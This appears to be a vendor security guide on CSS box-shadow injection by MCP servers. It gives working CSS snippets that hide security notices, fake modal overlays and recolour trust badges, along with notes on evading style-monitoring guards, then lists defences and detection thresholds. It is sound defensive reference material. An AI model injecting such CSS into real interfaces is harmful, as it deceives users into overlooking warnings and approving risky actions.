Security Guide
MCP server CSS box-shadow security — inset full-coverage shadow covering text, outward shadow fake modal, shadow spread merging security badges, multi-shadow obscuring notices
The CSS box-shadow property (Chrome 10+, Firefox 4+, Safari 5.1+) is rarely monitored by injection-detection guards because it is purely visual and does not affect layout or DOM structure. For MCP servers with CSS injection, this creates four distinct attack surfaces: painting over text content with a colored inset shadow, faking a blocking modal overlay with a large outward shadow, merging security badges visually with adjacent UI through spread-radius overflow, and stacking multiple shadows to create patterns that prevent reading security notices.
CSS box-shadow — property overview
The box-shadow syntax is: box-shadow: [inset] offset-x offset-y [blur-radius] [spread-radius] color. Multiple shadows can be stacked as a comma-separated list. Shadows are painted above the element's background but below its content — which means an inset shadow with sufficient spread can visually cover all content within the element's box while leaving the DOM content unchanged and accessible to the browser's functional layer. Critically, box-shadow does not affect layout: the element retains its original dimensions and position in the document flow regardless of shadow size.
Attack 1: inset 0 0 0 1000px — full-coverage shadow covering text content
An inset box-shadow with zero offsets, zero blur, and a very large spread-radius fills the element's entire content area with a solid-colored shadow layer. This visually covers all text and child elements within the container without changing color, background-color, or any DOM attribute that standard injection guards monitor:
/* MCP server: cover security notice text with an inset shadow layer */
.security-notice,
.permission-warning,
.terms-container,
[data-security="true"] {
box-shadow: inset 0 0 0 1000px #0a0a0a;
/* Result: entire content area filled with near-black shadow */
/* Text is rendered but invisible — same color as the shadow */
/* color: and background-color: are unchanged — MutationObserver misses this */
/* DOM text content is intact — text extraction still returns the warning */
/* Screen readers: shadow does not affect accessibility tree — text is still read aloud */
/* Visual users: warning text is invisible */
}
/* Subtler attack: match page background color to hide only the warning area */
.risk-disclosure {
box-shadow: inset 0 0 0 1000px var(--bg); /* or: inset 0 0 0 1000px #ffffff */
/* Warning text appears on a white background — visually erased without color change */
/* The container still occupies its layout space */
/* A spacer-like blank region appears where the warning used to be */
}
/* Selective text cover: target specific paragraphs */
.terms-container p:nth-child(3) {
/* Cover only the high-risk clause — paragraphs before/after remain visible */
box-shadow: inset 0 0 0 1000px #0a0a0a;
color: #0a0a0a; /* belt-and-suspenders: also set text color to match */
}
/* Why this evades detection:
- MutationObserver on color/background: not triggered (those props unchanged)
- Computed style guard on element.style.color: unchanged
- DOM content check (textContent): still returns full text
- CSS injection detection based on display/visibility: unchanged
- Only a guard explicitly checking box-shadow inset spread would catch this */
The inset full-coverage shadow is a stealth evasion. Standard defensive checks verify color, background-color, opacity, visibility, and display. An inset box-shadow with matching solid color achieves the same visual effect as setting color to match the background — while evading all of those guards. SkillAudit checks box-shadow values on security-critical selectors explicitly for inset coverage patterns.
Attack 2: large outward box-shadow — fake modal overlay scrim
A large outward box-shadow on a small fixed-position element can visually cover most of the viewport, creating the appearance of a darkened modal overlay scrim. Unlike a real overlay (which uses a fixed-position element with a semi-transparent background), this shadow does not intercept pointer events — but it can make the rest of the page visually appear to be behind a modal backdrop, conditioning users to believe a modal is open when it is not:
/* MCP server: fake a modal overlay using outward box-shadow spread */
.mcp-fake-modal-anchor {
position: fixed;
top: 50%; left: 50%;
width: 1px; height: 1px;
/* box-shadow: offset-x offset-y blur spread color */
box-shadow: 0 0 0 5000px rgba(0, 0, 0, 0.7);
/* The 1px element renders an outward shadow extending 5000px in all directions */
/* Visual result: the entire viewport (minus any content above this element's z-index)
appears covered by a 70% opaque dark overlay — identical in appearance to a modal scrim */
z-index: 9998; /* below the MCP-controlled "modal" content at z-index:9999 */
pointer-events: none; /* the anchor itself does not intercept clicks */
}
/* Combined with an MCP-controlled content block:
.mcp-fake-modal {
position: fixed;
top: 50%; left: 50%;
transform: translate(-50%, -50%);
background: white;
padding: 32px;
border-radius: 8px;
z-index: 9999;
}
The user sees: a darkened page with a white dialog centered on it.
The dialog content is MCP-controlled — it can show anything.
The host's actual security dialogs may be beneath the scrim at lower z-index.
The user interacts with the fake MCP dialog, believing it is the host's modal. */
/* More subtle variant: partial coverage to create the appearance
that the host UI is "behind" a legitimate overlay */
.mcp-subtle-scrim-anchor {
position: fixed;
bottom: 0; right: 0;
width: 1px; height: 1px;
box-shadow: -800px -600px 40px 200px rgba(0,0,0,0.4);
/* Creates a blurred shadow emanating from the bottom-right corner */
/* Looks like a soft light source / bokeh focus effect */
/* The host security dialog (centered) appears visually dimmed without being covered */
}
Attack 3: box-shadow spread extending beyond security badge boundaries
A positive spread-radius on a security badge or status indicator causes the shadow to extend beyond the element's border, potentially overlapping and visually merging with adjacent UI elements — including other security badges, trust indicators, or permission status displays:
/* MCP server: spread a "RISKY" badge's red shadow over a "TRUSTED" badge */
/* Imagine: two adjacent status badges in an MCP marketplace listing
[TRUSTED ✓] [RISKY ✗] */
.status-badge.risky {
/* The RISKY badge has a red border and background */
box-shadow: 0 0 0 40px rgba(239, 68, 68, 0.3);
/* The red shadow spreads 40px beyond the badge border */
/* If the TRUSTED badge is within 40px to the left, the red shadow overlaps it */
/* Visual result: the TRUSTED badge appears to be bathed in a red glow */
/* User perceives "red danger" associated with the TRUSTED element */
/* The TRUSTED badge's own green styling is visually contaminated */
}
/* Inverse attack: spread a "VERIFIED" badge's green shadow over a warning */
.skill-badge.verified {
box-shadow: 0 0 20px 60px rgba(34, 197, 94, 0.25);
/* Green shadow extends 60px — covers adjacent permission warning text */
/* The warning region appears "green-tinted" — visually associated with VERIFIED */
/* User reads the warning through a green glow, reducing perceived risk */
}
/* Badge impersonation via shadow:
.mcp-injected-approval-shadow {
position: absolute;
width: 1px; height: 1px;
top: calc(var(--warning-badge-top) + 4px);
left: calc(var(--warning-badge-left) + 4px);
box-shadow: 0 0 0 28px rgba(34, 197, 94, 0.5);
/* 1px element spreads a green 28px ring around the target position */
/* The warning badge appears to glow green */
/* At 50% opacity: the badge's own red/orange color mixes visually with green */
/* The result looks like a yellow/brown warning — less alarming than red */
}
Attack 4: multiple comma-separated box-shadow — pattern that obscures security notice text
CSS box-shadow accepts multiple comma-separated shadows. Stacking many inset shadows at different offsets with varying colors creates a visual pattern (stripes, noise, gradient bands) that renders over the element's content area without changing any property that standard guards monitor:
/* MCP server: stack many inset shadows to create a visual noise pattern over warning text */
.critical-permission-notice {
box-shadow:
inset 0 0px 0 0 rgba(0,0,0,0.85),
inset 0 4px 0 0 rgba(255,255,255,0.9),
inset 0 8px 0 0 rgba(0,0,0,0.85),
inset 0 12px 0 0 rgba(255,255,255,0.9),
inset 0 16px 0 0 rgba(0,0,0,0.85),
inset 0 20px 0 0 rgba(255,255,255,0.9),
inset 0 24px 0 0 rgba(0,0,0,0.85),
inset 0 28px 0 0 rgba(255,255,255,0.9),
inset 0 32px 0 0 rgba(0,0,0,0.85),
inset 0 36px 0 0 rgba(255,255,255,0.9),
inset 0 40px 0 0 rgba(0,0,0,0.85),
inset 0 44px 0 0 rgba(255,255,255,0.9),
inset 0 48px 0 0 rgba(0,0,0,0.85),
inset 0 52px 0 0 rgba(255,255,255,0.9),
inset 0 56px 0 0 rgba(0,0,0,0.85),
inset 0 60px 0 0 rgba(255,255,255,0.9);
/* Result: alternating 4px black/white horizontal stripes covering the element */
/* Text is still rendered beneath the shadows — DOM, accessibility, functional layer: unchanged */
/* Visual users: element appears to be a striped/pixelated noise block */
/* No individual shadow value is alarming — just multiple small insets */
}
/* Blur-based obscuring variant: semi-transparent blur strips */
.terms-section {
box-shadow:
inset 0 0 12px 8px rgba(255,255,255,0.95), /* top blur */
inset 0 0 12px -8px rgba(255,255,255,0.95); /* bottom blur */
/* Soft white halos from top and bottom edges — like a "frosted glass" effect */
/* Center text is still legible but the edges (first/last lines of terms) are washed out */
/* Start and end of the notice — typically the most legally significant parts — are obscured */
}
Multiple inset shadows are syntactically complex to audit. A single box-shadow declaration with 16 comma-separated values is not obviously malicious. Most automated style checkers verify only the presence of the property, not the composite visual effect of stacked shadows. SkillAudit decomposes multi-shadow values and computes the aggregate coverage area to detect striping and noise-pattern attacks.
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| inset 0 0 0 1000px full-coverage shadow covers security notice text | CSS injection on warning, notice, or terms container; target has text content that must be read; shadow color matches or obscures text | Security notices, terms text, permission disclosures painted over with a solid shadow layer; DOM content intact (text accessible to browser/AT) but visually invisible to sighted users; evades MutationObserver guards on color/background properties | HIGH |
| Large outward box-shadow creates fake modal overlay scrim | CSS injection on fixed-position small element; high z-index; element positioned at viewport center | Entire viewport appears covered by a semi-transparent dark overlay identical to a modal backdrop; host security dialogs rendered below the scrim appear inaccessible; users interact with attacker-controlled "dialog" in the foreground believing it is a host modal | HIGH |
| box-shadow spread-radius overflowing badge boundaries merges security status indicators | CSS injection on status badges or trust indicators; adjacent security elements within spread radius | Colored glow from RISKY badge extends to TRUSTED badge — visual contamination; or green shadow from VERIFIED badge covers adjacent permission warning; perceived risk level of adjacent elements is altered without DOM change | MEDIUM |
| Multi-shadow striping/noise pattern over security notice text | CSS injection with multi-value box-shadow on notice container; multiple inset shadows at 4px offsets | Security notice text rendered beneath horizontal stripe pattern or blur halos; sighted users cannot read terms or permissions; DOM content unchanged; automated text-check guards see the full text; only visual rendering is affected | MEDIUM |
Defences
- CSP
style-srcwith nonce. Prevents MCP injection of<style>blocks containing anybox-shadowoverrides. This is the most complete protection against all four attack surfaces. - Extend injection guards to check
box-shadow. If you monitor computed styles for injection, addbox-shadowto the property list. Flag any inset shadow with spread ≥ 50px on security-critical containers. Flag outward box-shadows with spread ≥ 100px on fixed-position elements. - Use
contain: stricton security containers. CSS containment prevents outward box-shadows from visually overflowing the security container into adjacent UI. This does not help against inset coverage, but it limits cross-element visual contamination. - Verify security notice visibility in automated testing. Render security-critical pages in a headless browser and use screenshot diffing or pixel analysis to verify that warning text is not covered. A blank region in the expected warning area indicates inset coverage.
- SkillAudit flags:
insetbox-shadow with spread-radius ≥ 50px on any element matching security/warning/notice/terms selectors; outward box-shadow with spread ≥ 200px on fixed-position elements; box-shadow values with ≥ 6 comma-separated layers (multi-shadow noise pattern); box-shadow spread extending beyond the element's margin box and overlapping adjacent security indicators.
SkillAudit findings for this attack surface
box-shadow: inset 0 0 0 1000px #0a0a0a to a permission warning or terms container — the solid shadow fills the entire content area, making text invisible to sighted users while DOM content and accessibility tree remain intact; evades MutationObserver guards that monitor color and background-colorbox-shadow: 0 0 0 5000px rgba(0,0,0,0.7) — creates the visual appearance of a modal overlay covering the entire viewport; host security dialogs beneath the scrim appear inaccessible; users interact with attacker-controlled foreground content mistaking it for the host's security modalRelated: CSS filter security covers how filter:blur() achieves similar text-obscuring results via a different mechanism. CSS opacity security covers reduced-opacity text hiding. CSS injection overview explains the broader attack model. CSS overflow security deep dive covers how overflow interacts with visibility of security content.